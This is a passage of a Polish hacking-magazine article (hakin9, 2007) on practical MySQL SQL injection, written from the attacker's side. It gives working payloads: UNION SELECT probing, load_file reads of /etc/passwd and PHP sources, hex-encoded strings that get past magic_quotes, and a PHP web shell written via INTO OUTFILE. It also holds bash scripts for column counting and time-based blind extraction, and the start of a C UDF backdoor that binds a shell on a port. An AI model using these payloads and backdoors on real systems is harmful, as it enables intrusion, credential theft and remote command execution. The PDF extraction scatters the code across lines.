go po średniku. Jedyną możliwością ingerencji jest wtedy użycie 

UNION

. Schemat 

wywołania tego operatora prezentuje się tak: 

SELECT ... FROM ... UNION SELECT 

... FROM ... UNION .... 

W odpowiedzi na tak skonstruowane zapytanie serwer najpierw wykona pierwsze po-
lecenie 

SELECT

, następnie drugie – dostawiając jego wynik do rezultatu pierwszego 

polecenia itd. Każde z poleceń składowych może odwoływać się do różnych tabel, 
pól, a także posiadać dodatkowe warunki i parametry, niezależne od pozostałych. Ist-
nieje tu jednak ograniczenie – każdy 

SELECT

 musi wybierać identyczną liczbę pól. Po-

nadto odpowiadające sobie pola powinny być tego samego typu (w innym przypadku 
część serwerów odrzuci zapytanie).

Listing 3. 

Prosty przykład użycia UNION

/* Wynik pierwszego zapytania SELECT */

SELECT

 imie,nazwisko 

FROM

 tabela1 

WHERE

 imie=

'Jan'

+

------+----------+

| imie | nazwisko |
+

------+----------+

| Jan  | Kowalski | 
+

------+----------+

/* Wynik drugiego zapytania SELECT */

SELECT

 miasto,kraj 

FROM

 tabela2

+

----------+--------+

| miasto   | kraj   |
+

----------+--------+

| Poznan   | Polska | 
| Warszawa | Polska | 
+

----------+--------+

/* Zestawienia ze sobą wyników obu zapytań SELECT */

SELECT

 imie,nazwisko 

FROM

 tabela1 

WHERE

 imie=

'Jan'

 

UNION 

SELECT

 miasto,kraj 

FROM

 tabela2

+

----------+----------+

| imie     | nazwisko |
+

----------+----------+

| Jan      | Kowalski | 
| Poznan   | Polska   | 
| Warszawa | Polska   | 
+----------+----------+

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

18

cji 

user()

, która zwróci potrzebne infor-

macje (w postaci user@host). Aby re-
zultat funkcji był widoczny, jej wywoła-
nie musi zostać umieszczone w miejscu 
jednej z cyfr, które ukazały się na stronie 
w trakcie ustalania liczby kolumn, np.:

SELECT 1,user(),3,4,5,6,7,8--

W  uzyskaniu  pozostałych  informa-
cji  pomocne  mogą  okazać  się  rów-
nież zmienne systemowe. Przykłado-
wo, aby dowiedzieć się, na jakim sys-
temie pracuje baza, można wykorzy-
stać  zmienną 

version _ compile _ os

której wartość ustali zapytanie:

SELECT @@version_compile

Zagłębianie się w system

Mając podstawowe informacje o kon-
cie  oraz  systemie,  możemy  pokusić 
się o użycie funkcji 

load _ file()

 w ce-

lu odczytania plików konfiguracyjnych 
systemu. Oczywiście podany jako pa-
rametr plik musi posiadać uprawnie-
nia  zezwalające  procesowi  serwera 
bazy na odczyt. Przykładami plików, 
które  często  posiadają  takie  upraw-
nienia,  a  zarazem  dostarczają  istot-
nych informacji są:

•   /etc/passwd,
•   /etc/inittab,
•   /etc/my.cnf,
•   /etc/inetd.conf,
•   httpd.conf,
•   skrypty startowe rc,
•   niektóre dzienniki serwera (w tym 

logi SQL).

Poznanie  dokładnej  wersji  syste-
mu  zazwyczaj  ogranicza  się  do  od-
czytania  pliku  o  nazwie  w  rodzaju 
/etc/redhat-release.  Taka  informacja 
zdradza  umiejscowienie  innych  pli-
ków  konfiguracyjnych  –  charaktery-
stycznych dla danej dystrybucji sys-
temu.

Czytanie skryptów PHP

Oprócz  wspomnianych  plików,  czę-
sto  możliwy  jest  odczyt  źródeł  apli-
kacji  PHP.  Źródła  strony  mogą  za-
wierać  niezakodowane  hasła  do 
baz  danych  (przekazane  do  funkcji 

mysql _ connect()

),  jak  również  zdra-

Listing 4. 

Budowa tabeli contact

mysql> 

CREATE TABLE

 contact 

>

(

name char

(

25

)

, number char

(

25

)

;

mysql> 

INSERT

 

INTO

 contact 

VALUES

(

'Mike'

'777-888-111'

)

;

mysql> 

INSERT

 

INTO

 contact 

VALUES

(

'Tom'

'111-252-116'

)

;

mysql> 

SELECT

 * 

FROM

 contact;

+

------+-------------+

| name | number      |

+

------+-------------+

| Mike | 777-888-111 | 

| Tom  | 111-252-116 | 

+

------+-------------+

2 rows 

in

 

set

 

(

0.00 sec

)

Listing 5. 

Kod HTML listy wyboru

<

form name=

"locale"

 

method=

"post"

 

action=

"country.php"

>

<

b

>

Country/Region:

<

/b

><

br

>

<

SELECT name=

"country"

 

size=

"10"

>

   

<

option value=

"Afghanistan|en-in"

>

Afghanistan

<

/option

>

   

<

option value=

"' UNION SELECT 1,2-- "

>

' UNION SELECT 1,2-- 

<

/option

>

   ...

<

/SELECT

>

Listing 6. 

Skrypt num_of_cols.sh odgadujący liczbę kolumn

#!/bin/bash

# Skrypt probuje odgadnac liczbe kolumn tabeli poprzez wstawienie

# ciagu: UNION SELECT 1-- w oznaczone 

(

przez: _HERE_

)

 miejsce adresu

# URL i stopniowe zwiekszanie liczby wybieranych cyfr - 

do

 momentu az serwer

# przestanie zwracac blad. Przed uruchomieniem trzeba ustawic zmienna PROXY

# Uzycie: ./script.sh 

[

URL with _HERE_ keyword

]

 

[

number_of_tries

]

# Przyklad:

# ./script.sh 

"http://sqlbug.com/show.php?var=1_HERE_&id=5&color=g"

 30

SKIP=0;

PROXY=

"x.x.x.x:80"

;

sql=

"

%20

union

%20

SELECT

%201

--

%20

"

;

if

 

[

 

$#

 -lt 1 

]

; then 

echo

 

"read ussage!"

exit

 1; fi

if

 

[

 

$#

 -eq 2 

]

then

   try_count=

$2

;

   

echo

 -e

"Trying 

$try_count

 times

\n

"

else

   try_count=40;

fi;

add_columns

()

{

   sql=`

echo

 

$sql

 | sed 's/--

%2

0//g'`; 

   sql=

"

${sql}

,

$

((i+1))--

%20

"

;

}

for

 

((

 i=1; i

<

=

$try_count

; i++ 

))

do

   

if

 

[

 

$SKIP

 -ne 0 

]

; then

      SKIP=

$

((

SKIP-1

))

;

      add_columns;

      

continue

;

   fi;

   url=`

echo

 

$1

 | sed 

"s/_HERE_/

$sql

/"

`;

   

echo

 

"(

$i

) Trying URL: 

$url

 ..."

;

   

if

  ! curl -x 

"

$PROXY

"

 

"

$url

"

 | lynx --dump -stdin | grep -A4 -B4 SQL | 

grep -i different; 

   then

         

echo

         

echo

 

"I found it! The number of columns is 

$i

"

         

echo

 -e 

"The correct URL is: 

\n

$url

\n\n

"

            

exit

 0

   fi;

   add_columns;

   

echo

;

done;

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

19

dzić inne – trudne do wykrycia z ze-
wnątrz – rodzaje błędów.

Po połączeniu informacji o poło-

żeniu katalogu domowego (plik pas-
swd
)  z  nazwą  katalogu  przechowu-
jącego  strony  (plik  httpd.conf),  mo-
żemy  próbować  odczytać  pliki  in-
deksowe:

load_file('/home/user_name/html_dir/

index.php')

Prawdopodobieństwo  odczytania 
pliku  jest  stosunkowo  duże,  ponie-
waż  część  administratorów  nadaje 
katalogowi 

html _ dir

  i  jego  plikom 

prawa 

o+rx

. Odczytanie pliku indek-

sowego  wystarczy,  aby  –  śledząc 
odwołania typu 

include()

 – dotrzeć 

do  nazw  kolejnych  plików  skryptu. 
Warto tu również wspomnieć o funk-
cji 

hex()

,  która  pozwoli  skonwerto-

wać odczytany plik na postać szes-
nastkową.  Przydaje  się  to  zwłasz-
cza do odczytywania plików zawie-
rających  znaki  niedrukowalne.  Po-

zwala też zapobiec interpretacji ko-
du przez właściwy skrypt lub prze-
glądarkę.

Pisanie do plików

MySQL  oferuje  możliwość  zapisu  do 
wskazanego  pliku  poprzez  parę  ope-
ratorów  polecenia 

SELECT

OUTFILE

  i 

DUMPFILE

.  Odbywa  się  to  w  taki  oto 

sposób:

SELECT * FROM tabela INTO 
OUTFILE '/sciezka/do/pliku'

Ze  względów  bezpieczeństwa  nadpi-
sywanie plików jest zabronione, dlate-
go ścieżka musi wskazywać nieistnie-
jący plik. Mimo to operatory te stano-
wią  duże  zagrożenie.  Wystarczy  wy-
obrazić sobie, że podczas przegląda-
nia  źródeł  PHP  natrafiliśmy  na  frag-
ment:

$file = 
fopen("mail/list1.txt","w");
fwrite($file,"$email \n");

Jest  szansa,  że  programista  w  celu 
zapewnienia poprawnej pracy skryp-
tu  nadał  katalogowi  mail  uprawnie-
nia 

o+w

.  W  takim  wypadku  wystar-

czy  napisać  krótki  skrypt  PHP  wy-
konujący  komendy  podane  jako  pa-
rametr 

$cmd

:

<?php
   $cmd = $_GET['cmd'];
   $out = system("$cmd"); ?>

Taki  skrypt  po  konwersji  na  postać 
szesnastkową  może  zostać  zapisa-
ny  na  serwerze  z  pomocą  operato-
ra 

OUTFILE

Po  pomyślnym  wykonaniu  zapy-

tania  przedstawionego  na  Listingu 
7.  uzyskamy  możliwość  wykonywa-
nia komend powłoki z uprawnieniami 
procesu  serwera  WWW:  http://host/
~user1/mail/run.php?cmd=ps
.

Czytanie baz danych

Podstawowy problem związany z wy-
ciąganiem informacji z nieznanej ba-
zy  wiąże  się  z  nieznajomością  jej 
struktury.  Zazwyczaj  nie  jesteśmy  w 
stanie  przewidzieć  nazw  baz,  tabel 
czy  kolumn.  Czasem  informacje  te 
pojawiają się w generowanych przez 
serwer komunikatach o błędach, lecz 
są to tylko szczątkowe dane. Nowsze 
wersje  serwera  MySQL  udostępnia-
ją  specjalną  bazę  – 

information _

schema

, która znakomicie ułatwia pra-

cę z nieznanymi danymi. 

W celu przyspieszenia operacji od-

czytu danych z bazy można wykorzy-
stać  funkcję 

concat()

,  która  pozwala 

scalić wartości kilku pól w jeden ciąg 
znaków. Przykładowo, zapytanie:

SELECT concat('[ ',imie,'=',
nazwisko,'=', telefon,'=', mail,' ]') 
FROM sklepDB.zamowienia 

wyświetli  zawartość  czterech  pól  ta-
beli  zamowienia,  rozdzielone  znaka-
mi równości.

Kradzież haseł

Serwer  MySQL  przechowuje  infor-
macje  o  użytkownikach  w  bazie  da-
nych  o  nazwie  mysql.  Baza  ta  za-
wiera dane potrzebne do autoryzacji 
użytkowników, a także określa przy-

Trzy zapytania do information_schema

•  

SELECT schema_name FROM information_schema.schemata

,

•  

SELECT  table _ name  FROM  information _ schema.tables  WHERE  table _
schema='wybrana _ baza'

,

•  

SELECT  column _ name  FROM  information _ schema.columns  WHERE  table _
schema='wybrana _ baza' AND table _ name='wybrana _ tabela'

uzyskamy  odpowiednio:  listę  wszystkich  dostępnych  baz,  kompletną  listę  tabel  bazy 

wybrana_baza

, oraz kompletną listę pól zawartych w bazie 

wybrana_baza

. Posiadając 

te informacje możemy już kierować zapytania do konkretnych tabel.

Rysunek 4. 

Skrypt num_of_cols.sh w akcji

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

20

sługujące im przywileje. Kluczowa ta-
bela w niej zawarta to user, która po-
siada m. in. następujące pola:

• 

  user

 – nazwa użytkownika,

• 

  host

 – host, z którego użytkownik 

ma prawo się łączyć,

• 

  password

 – zaszyfrowane hasło w 

postaci skrótu (hash).

Domyślnie  tylko  użytkownik  o  loginie 
root  ma  do  niej  dostęp.  Jednak  zda-
rza się, że administrator definiując do-
stępne obiekty dla nowego użytkowni-
ka wpisuje po prostu 

*.*

 – co oznacza 

wszystkie bazy i tabele, łącznie z my-
sql.user

Skróty haseł różnią się między so-

bą długością. Krótsze wynikają z za-
stosowania  starszego  mechanizmu 
generowania  hashy  –  używanego  w 
wersjach  serwera  MySQL  starszych 
niż 4.1. Takie hasła są bardzo podat-
ne na atak siłowy (brute force). 

Czas  siłowego  złamania  7-zna-

kowego hasła zawierającego różnej 
wielkości litery, cyfry czy nawet znaki 
specjalne, na przeciętnym kompute-
rze nie przekracza zwykle 5 minut. 

Należy pamiętać, że rozkodowanie 

hasła nie gwarantuje uzyskania dostę-
pu do bazy. O tym, czy dany użytkow-
nik będzie mógł zalogować się na da-
ne konto decyduje pole 

host

. Jeśli jest 

ono puste lub zawiera znak 

%

, oznacza 

to, że na konto można zalogować się z 
dowolnego miejsca. Czy jednak hasła 
kont zezwalających wyłącznie na do-
stęp  z  lokalnego  adresu  są  zupełnie 
bezużyteczne?  Bynajmniej  –  istnieje 
przecież  szansa,  że  użytkownik  po-
siada również konto systemowe (z do-
stępem do powłoki) z identycznym ha-
słem. Posiadając hasło do konta, któ-
re zezwala na zdalny dostęp, możemy 
uzyskać  bezpośrednie  połączenie  z 

bazą (poleceniem 

mysql

). Nie będzie-

my już ograniczeni do polecenia 

UNION 

SELECT

.  Zyskamy  możliwość  wykony-

wania pozostałych komend SQL – w 
granicach uprawnień przypisanych do 
konta. Jeśli konto ma nadane maksy-
malne  uprawnienia  –  z  bazą  można 
zrobić praktycznie wszystko.

Zdalny dostęp do serwera pozwala 

też na wykonanie dokładnej kopii wy-
branej bazy na lokalnym dysku twar-
dym. Służy do tego narzędzie mysql-
dump
, wywołane w taki sposób:

mysqldump -u admin -p'pass' \
-h host sklepDB >dump.sql

Problemy, na jakie może 

napotkać atakujący

Ataki SQL Injection rzadko kiedy prze-
biegają bezproblemowo. Trudności w 
określeniu miejsca pozwalającego na 
wstrzyknięcie kodu, filtrowanie danych 

wejściowych pod kątem znaków spe-
cjalnych czy brak wyświetlania wyni-
ków na stronie WWW to tylko część 
problemów mogących wystąpić pod-
czas ataku. Wystarczająco zdetermi-
nowany napastnik jest jednak w stanie 
przezwyciężyć niektóre z nich. 

Magiczne apostrofy

Jeśli  w  konfiguracji  PHP  aktywowa-
na zostanie opcja 

magic _ quotes _ gpc

to  wszystkie  dane  pochodzące  z  ze-
wnątrz  (przekazane  za  pomocą  me-
tod 

GET

POST

 czy też ciasteczek) zosta-

ną automatycznie zabezpieczone. Jeśli 
zmienna zawiera znaki: 

 , 

'

 czy 

\

, to 

przed każdym z nich dopisany zostanie 
znak odwrotnego ukośnika (

\

) – likwidu-

jąc w ten sposób specjalne znaczenie 
każdego z wspomnianych znaków.

Zakładając,  że  omawiana  opcja 

jest aktywna, a w kodzie PHP znaj-
duje się linijka:

Wbudowane funkcje serwera MySQL 

MySQL oferuje pokaźny zestaw wbudowanych funkcji, które pozwalają na wykonanie 
określonych czynności po stronie serwera. Stanowią one nieocenioną pomoc dla na-
pastnika. Funkcje najczęściej używane w atakach SQL Injection to:

•  

load_file()

 – odczytuje wskazany plik,

•  

user()

 – zwraca nazwę aktualnie zalogowanego użytkownika,

•  

database()

 – zwraca nazwę aktualnie używanej bazy,

•  

sleep()

 – wstrzymuje pracę skryptu na określoną ilość sekund,

•  

hex()

unhex()

 – konwersja liczb szesnastkowych,

•  

char()

 – zamiana liczby na znak (w kodzie ASCII),

•  

concat()

 – połączenie ze sobą ciągów znaków,

•  

if()

 – tworzenie warunku,

•  

ascii()

 – zwraca kod ASCII podanego znaku,

•  

count()

 – zlicza otrzymane rekordy.

Zmienne systemowe serwera MySQL

Serwer MySQL przechowuje w pamięci dużą ilość zmiennych, które zawierają kluczowe 
informacje na temat konfiguracji bazy danych, a także o systemie operacyjnym. Zmien-
ne, które mogą okazać się szczególnie przydatne podczas rekonesansu to:

•  

basedir

 – katalog bazowy,

•  

datadir

 – katalog przechowujący pliki baz danych,

•  

initfile

 – ścieżka do pliku z poleceniami SQL, które zostaną wykonane podczas 

startu serwera,

•  

port

 – numer portu na którym działa daemon MySQL,

•  

version

 – wersja serwera,

•  

version _ compile _ machine

 – architektura atakowanej maszyny,

•  

version _ compile _ os

 – rodzaj systemu operacyjnego.

Pełną  listę  zmiennych  wraz  z  ich  wartościami  uzyskamy  wydając  polecenie: 

show 

variables

, w programie mysql monitor.

Rysunek 5. 

Wyświetlenie wyniku 

funkcji user() na atakowanej stronie

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

21

$query = ”SELECT * FROM tabela WHERE 
imie='”. $_GET['imie'] .”'”;

to  przekazanie  na  wejście  skryptu 
zmiennej 

imie

  równej 

dave'  UNION 

Select 1

 – sprawi, że końcowe zapy-

tanie przyjmie postać:

SELECT * FROM tabela WHERE
imie='dave\' UNION Select 1 --'

Nie  przyniesie  ono  oczekiwanego 
efektu, gdyż wstawiony znak apostro-
fu straci swoją funkcję – przez co ca-
ła  zawartość  zmiennej  zostanie  za-
mknięta między pierwotnymi apostro-
fami,  a  następnie  potraktowana  jako 
łańcuch znaków. 

Atakujący  wciąż  ma  szansę  na 

przeprowadzenie  ataku.  Musi  tylko 
znaleźć  zmienną,  która  nie  jest  oto-

czona apostrofami. Takie sytuacje wy-
stępują w momencie, gdy programista 
chce  przekazać  do  zapytania  zmien-
ną  liczbową.  Np.  przesłanie  zmien-
nej 

ile _ lat

  równej 

0  UNION  SELECT 

1

  do  skryptu  PHP  zawierającego  in-

strukcję:

$query = "SELECT * FROM uzytkownicy
WHERE wiek=$ile_lat"

da  zamierzony  rezultat  –  doklejony 

SELECT

  zostanie  zinterpretowany  ja-

ko kod SQL.

Problem  jednak  powróci  w  mo-

mencie, gdy atakujący będzie próbo-
wał przekazać nazwę pliku do funkcji 

load _ file()

 albo użyć operatora 

WHERE

 

z podaniem ciągu znaków np.: 

WHERE table_schema='sklepDB'

W  obu  przypadkach  apostrofy  po-
nownie  zostaną  poprzedzone  zna-
kiem 

\

, a serwer zwróci błąd skład-

ni.  Jest  jednak  na  to  sposób.  Za-
miast podawać ciąg znaków ograni-
czony  apostrofami,  można  skonwer-
tować  kod  ASCII  każdej  z  tworzą-
cych  go  liter  na  postać  heksadecy-
malną – poprzedzając całość znaka-
mi 

0x

. Tak spreparowany ciąg może 

zostać podany jako argument dowol-
nej funkcji. Odczytanie pliku /etc/pas-
swd
 bez użycia apostrofów wygląda-
łoby więc tak: 

load_file(0x2F6574632F706173737764)

Natomiast  zdefiniowanie  nazwy  ba-
zy (sklepDB):

WHERE table_schema=0x736B6C65704442

Pewną alternatywą jest również funk-
cja 

char()

, pozwalająca określić ciąg 

znaków w postaci liczb dziesiętnych:

char(84,101,115,116)

Przy  pomocy  tych  funkcji  atakują-
cy  jest  w  stanie  zakodować  więk-
szość ciągów znaków. Niekiedy jed-
nak apostrofy muszą być podane jaw-
nie. Jest tak np. w przypadku opera-
tora 

OUTFILE

 polecenia 

SELECT

. To zna-

czy, że zapytanie:

SELECT 1,2,3 INTO OUTFILE 'liczby'

nie może zostać zamienione na:

SELECT 1,2,3 INTO OUTFILE 
OUTFILE 0x6C69637A6279

gdyż serwer zwróci błąd składni. 

Skrypt nie zwraca błędów

Jeżeli informowanie o błędach PHP/
SQL  zostanie  wyłączone  przez  ad-
ministratora, atakującemu dużo trud-
niej będzie nawiązać kontakt z bazą 
danych. Jeśli badana strona nie wy-
świetla błędów, atakujący zmuszony 
jest obserwować reakcje strony (np. 
zmiany  jej  wyglądu)  po  zmodyfiko-
waniu wartości wybranej zmiennej. 

Załóżmy, że strona księgarni za-

wiera jakąś listę, powiedzmy listę no-

Information_schema 

Baza 

information_schema

  jest  informacyjną  bazą  danych  tylko  do  odczytu.  Została 

wprowadzona w wersji 5.0.2 serwera MySQL. Zawiera ona tabele, w których znajdu-
ją się informacje na temat wszystkich danych dostępnych dla wybranego użytkownika. 
Jest ona nieocenioną pomocą dla atakującego, który – kierując do niej zapytania – jest 
w stanie poznać strukturę dostępnych baz danych czy też ustalić przywileje. Tabele tej 
bazy zawierające kluczowe informacje to:

•  

SCHEMATA

 – dostępne bazy danych,

•  

TABLES

 – spis tabel zawartych w bazach,

•  

COLUMNS

 – lista pól każdej z dostępnych tabel,

•  

USER _ PRIVILEGES

 – przywileje użytkownika.

Dokładną listę pól każdej z tych tabel uzyskamy poleceniem 

describe nazwa_tabeli

.

Rysunek 6. 

Łamanie 16-bajtowych skrótów haseł MySQL

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

22

wo wydanych książek. Widząc w ad-
resie URL parametr 

month=April

 moż-

na łatwo skojarzyć, że odpowiada on 
najprawdopodobniej za generowanie 
listy książek wydanych w danym mie-
siącu. Jeśli po zamianie tego parame-
tru  na 

month=April'  OR  1=1--

  okaże 

się, że lista książek uległa zwiększe-
niu (wyświetlone zostały tytuły z ca-
łego roku), oznacza to, że udało się 
wstrzyknąć  kod.  Następnie  można 
próbować wyświetlić własny tekst lub 
liczbę na stronie, korzystając z kombi-
nacji poznanych już operatorów:

month=April' LIMIT 0 
UNION SELECT 'sql-inj'--

Skrypt nie zwraca 

rezultatów zapytań

Najtrudniejszym  atakiem  typu  SQL 
Injection  jest  atak  na  skrypt,  który 
w żaden sposób nie prezentuje wy-
ników  zapytania  na  stronie.  Może 
tak  się  zdarzyć  choćby  w  sytuacji, 
gdy skrypt otrzymane w wyniku za-
pytania  rekordy  wykorzystuje  tylko 
do wewnętrznych obliczeń. Atakują-
cy  nie  będzie  miał  więc  pojęcia,  co 
zwróciło wstrzyknięte zapytanie. Ist-
nieje jednakże pewna sztuczka, któ-
ra pozwoli na ustalenie wyników za-
pytania. Opiera się ona na fakcie, iż 
jesteśmy w stanie stwierdzić, ile cza-
su zajęło załadowanie strony. 

Powiedzmy,  że  chcemy  się  do-

wiedzieć  czy  użytkownikiem  bazy 
jest root. Aby to ustalić, można utwo-
rzyć  zapytanie,  które  sprawdzi  czy 
funkcja 

user()

 zwraca taki login – je-

śli  tak,  to  generuje  kilkusekundowe 
opóźnienie. Mierząc czas ładowania 
strony jesteśmy w stanie stwierdzić, 
czy  zapytanie  zwróciło  wynik  pozy-
tywny  bądź  negatywny.  Utworzenie 
takiego zapytania jest jak najbardziej 
realne. Wymaga to zastosowania in-
strukcji  warunkowej 

IF

  oraz  funkcji 

sleep()

,  która  pozwala  wstrzymać 

przetwarzanie zapytania na określo-
ny czas. Instrukcja warunkowa 

IF

 jest 

tak  naprawdę  funkcją  przyjmującą 
trzy argumenty:

if (warunek, wynik_pozytywny, wynik_

negatywny)

Oto prosty przykład jej użycia:

SELECT IF(5>2, 'wieksze', 'mniejsze')

Warunek 

5>2

  jest  zawsze  prawdzi-

wy  (

TRUE

),  dlatego  wynikiem  zapyta-

nia będzie ciąg znaków 

wieksze

. Od-

wracając znak nierówności w stronę 
liczby  2  otrzymamy  słowo 

mniejsze

Zapytanie  generujące  opóźnienie  w 
przypadku,  gdy  użytkownikiem  bazy 
jest root będzie więc wyglądało tak:

SELECT IF(user() LIKE 'root%',
sleep(10), 0)

Listing 7. 

Zapytanie zapisujące skrypt PHP na serwerze

SELECT

 unhex

(

'3C3F7068702024636D64203D20245F4745545B27636

D64275D3B20246F7574203D2073797374656D282224636D6422293B
203F3E'

)

 

INTO

 OUTFILE 

'/home/user1/mail/run.php'

;

Listing 8. 

Skrypt timing.sh 

#!/bin/bash

# Skrypt pozwala odczytac dane z bazy przy uzyciu metody czasowej

.    

# Nalezy ustawic parametry URL, FIELD, DELAY oraz 

# ewentualnie sql i FROM. DELAY, powinien byc ustawiony na wartosc

# o 2s wieksza niz normalny czas ladowania strony 

URL=

"http://www.page-with-bug/?q=_HERE_"

FIELD=

"user()"

#FROM="from mysql.user where user=

'root'"

DELAY=6

sql="

LIMIT 0 union select 

if

 

(

 

(

ascii

(

 substring

(

$FIELD

,x,1

)

 

)>>

x

)

\&1 , 

sleep

(

$DELAY

)

, 0 

)

 

$FROM

"

function change(){

      new_sql="

`

echo

 

$sql

 | sed 

"s/,x,/,

$1

,/; s/>>x/>>

$2

/"

`

"

      new_url="

`

echo

 

$URL

 | sed 

"s/_HERE_/

$new_sql

/"

`"

}

function

 bin2dec

(

){

MUL=1

      

for

 

((

i=0; i

<

$1; i++)); do

 

           

MUL=`expr $MUL \* 2`

 

     

done

 

     

DEC=`expr $DEC \+ $MUL`

}

char_number=0

TIME_SUM=0

while :; do

 

  

DEC=0

 

  

char_number=`expr $char_number \+ 1`

 

  

echo -en 

"\n\n### Obtaining char number $char_number ###\n\n"

 

  

for shift in 0 1 2 3 4 5 6; do 

 

 

     

change $char_number $shift

 

     

echo $new_url

 

     

new_url=`echo $new_url | sed 

"

s/ /%20/g; s/

>

/

%3

e/g; s/&/

%26

/g

"`

      TIME="

`/usr/bin/

time

 -f

"

%e

"

 curl -s -o /dev/null 

"

$new_url

"

 2

>

&1 | cut 

-d. -f1`

"

      echo -en "

\tBit no.

$shift

 

(

$TIME

 seconds

)

 == 

"

      TIME_SUM=`expr 

$TIME_SUM

 

\+

 

$TIME

`

      if [ 

$

((

$TIME

)) -lt 

$DELAY

 ]; then

            echo "

0

";

      else      echo "

1

";

            bin2dec 

$shift

      fi

   done

   echo -en "

\nThe character is: 

"

   if [ 

$DEC

 -eq 0 ]; then echo NULL; break; fi

   Hex=`printf 

%x

 

$DEC

`

   Char=`echo -en "

\x

$Hex

"`

   echo "

$Char

"

   string="

$string$Char

"

done

echo –n "

\nThe 

string

 you were looking 

for

 is: 

'$string'

, obtained in 

${TIME_

SUM}

s"

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

23

Gdy warunek zostanie spełniony, czas 
potrzebny  na  wyświetlenie  strony  po-
winien  wydłużyć  się  o  –  w  przybliże-
niu – 10 sekund, co bez trudu zauwa-
żymy. Choć metoda ta wydaje się try-
wialna,  może  przynieść  zaskakują-
ce  efekty.  Pozwala  ona  nie  tylko  na 
odczytywanie  wyników  prostych  po-
równań,  ale  również  na  czytanie  ca-

łych ciągów znaków! Jak to możliwe? 
Rozbijając ciąg na poszczególne zna-
ki, a następnie każdy bajt (znak) na bi-
ty – otrzymujemy zbiór elementarnych 
stanów 1 i 0, które mogą  następnie zo-
stać przedstawione  przez opóźnienie i 
brak  opóźnienia.  Pozostaje  pytanie, 
jak dokonać rozkładu na bity z pozio-
mu  zapytania  SQL?  Z  pomocą  znów 

przychodzą  wbudowane  funkcje.  Za-
pytanie:

SELECT IF 
((ascii(substring(user(),1,1) )>>0)&1, 

sleep(10), 0 )

konwertuje pierwszy znak ciągu zwró-
conego  przez  funkcję 

user()

,  a  na-

stępnie porównuje najmłodszy bit z je-
dynką.  Jeśli  porównanie  zwróci  war-
tość 

TRUE

,  to  wykonywana  jest  funk-

cja 

sleep()

. W celu rozpoznania znaku 

musimy taką operację wykonać 7 ra-
zy (znaki z podstawowego kodu ASCII 
kodowane  są  na  7  bitach)  –  za  każ-
dym  razem  zwiększając  przesunię-
cie bitowe (symbol 

>>

) o jeden. Oczy-

wiście ręczne przeprowadzenie takiej 
operacji  byłoby  bardzo  czasochłon-
ne,  a  ponadto  łatwo  tu  o  pomyłkę. 
Cały proces można zautomatyzować 
– przy pomocy skryptu z Listingu 8.

Zdobywanie roota 

poprzez MySQL

Serwer MySQL pracuje domyślnie na 
specjalnie  utworzonym  systemowym 
koncie  (zwykle 

mysql

).Zdarza  się  jed-

nak, że administrator nadaje złe upraw-
nienia katalogom przechowującym pli-
ki bazy danych, na co serwer reaguje 
błędami  o  braku  dostępu  i  odmawia 
uruchomienia.  Część  administratorów 
zamiast szukać przyczyny tych błędów 
– beztrosko uruchamia serwer z opcją 

--user  root

.  Uruchomienie  serwera 

na koncie roota w pewnych okoliczno-
ściach może doprowadzić do przejęcia 
pełnej władzy nad systemem.

Jeżeli posiadamy dostęp do konta 

z uprawnieniami 

FILE

 i 

CREATE

 w odnie-

sieniu  do  systemowej  bazy  mysql,  to 
występuje spore prawdopodobieństwo 
uzyskania  powłoki  z  uprawnieniami 
administratora. Taki atak możliwy jest 
dzięki temu, że serwer MySQL umoż-
liwia  dodawanie  funkcji  zdefiniowa-
nych  przez  użytkownika  (

User-Defined 

Functions

). Funkcje te mogą być pisa-

ne przy użyciu języka C oraz ładowane 
w czasie działania bazy – jako bibliote-
ki współdzielone (shared library).

Na Listingu 9. przedstawiony zo-

stał  przykładowy  kod  zawierający 
funkcję, która – po wykonaniu przez 
serwer MySQL – otworzy tylną furt-

Listing 9. 

Biblioteka z funkcją UDF otwierającą tylną furtkę 

#include 

<stdio.h>

#include 

<stdlib.h>

#include 

<stdio.h>

#include 

<signal.h>

#include 

<sys/types.h>

#include 

<sys/socket.h>

#include 

<netinet/in.h>

#include 

<mysql.h>

#define PORT 5559

int

 

backdoor_init

(

UDF_INIT

 

*

initid

UDF_ARGS

 

*

args

char

 

*

message

)

{

      

return

 

0

;

}

;

char

 

*

backdoor

(

UDF_INIT

 

*

initid

UDF_ARGS

 

*

args

char

 

*

result

unsigned

 

long

 

*

length

char

 

*

is_null

char

 

*

error

 

)

 

{

   

int

 

soc_des

soc_cli

soc_rc

soc_len

server_pid

cli_pid

;

   

struct

 

sockaddr_in

 

serv_addr

;

   

struct

 

sockaddr_in

 

client_addr

;

   

if

 

(

fork

()

 

!=

 

0

)

{

      

*

is_null

 

=

 

0

;

      

*

length

 

=

 

strlen

(

"All right, it's open!"

);

      

strcpy

(

result

,

"All right, it's open!"

);

      

wait

(

0

);

      

return

 

result

;

    

}

    

soc_des

 

=

 

socket

(

AF_INET

SOCK_STREAM

IPPROTO_TCP

);

    

if

 

(

soc_des

 

==

 

-

1

)

 

exit

(-

1

);

    

bzero

((

char

 

*)

 

&

serv_addr

sizeof

(

serv_addr

));

    

serv_addr

.

sin_family

 

=

 

AF_INET

;

    

serv_addr

.

sin_addr

.

s_addr

 

=

 

htonl

(

INADDR_ANY

);

    

serv_addr

.

sin_port

 

=

 

htons

(

PORT

);

    

soc_rc

 

=

 

bind

(

soc_des

(

struct

 

sockaddr

 

*)

 

&

serv_addr

sizeof

(

serv_

addr

));

    

if

 

(

soc_rc

 

!=

 

0

)

 

exit

(-

1

);

    

setpgrp

();

    

signal

(

SIGHUP

SIG_IGN

);

    

if

 

(

fork

()

 

!=

 

0

)

 

exit

(

0

);

    

soc_rc

 

=

 

listen

(

soc_des

5

);

    

if

 

(

soc_rc

 

!=

 

0

)

 

exit

(

0

);

    

while

 

(

1

)

 

{

        

soc_len

 

=

 

sizeof

(

client_addr

);

        

soc_cli

 

=

 

accept

(

soc_des

(

struct

 

sockaddr

 

*)

 

&

client_addr

&

soc_

len

);

        

if

 

(

soc_cli

 

<

 

0

)

 

exit

(

0

);

        

server_pid

 

=

 

fork

();

        

if

 

(

server_pid

 

!=

 

0

)

 

{

            

dup2

(

soc_cli

,

0

);

            

dup2

(

soc_cli

,

1

);

            

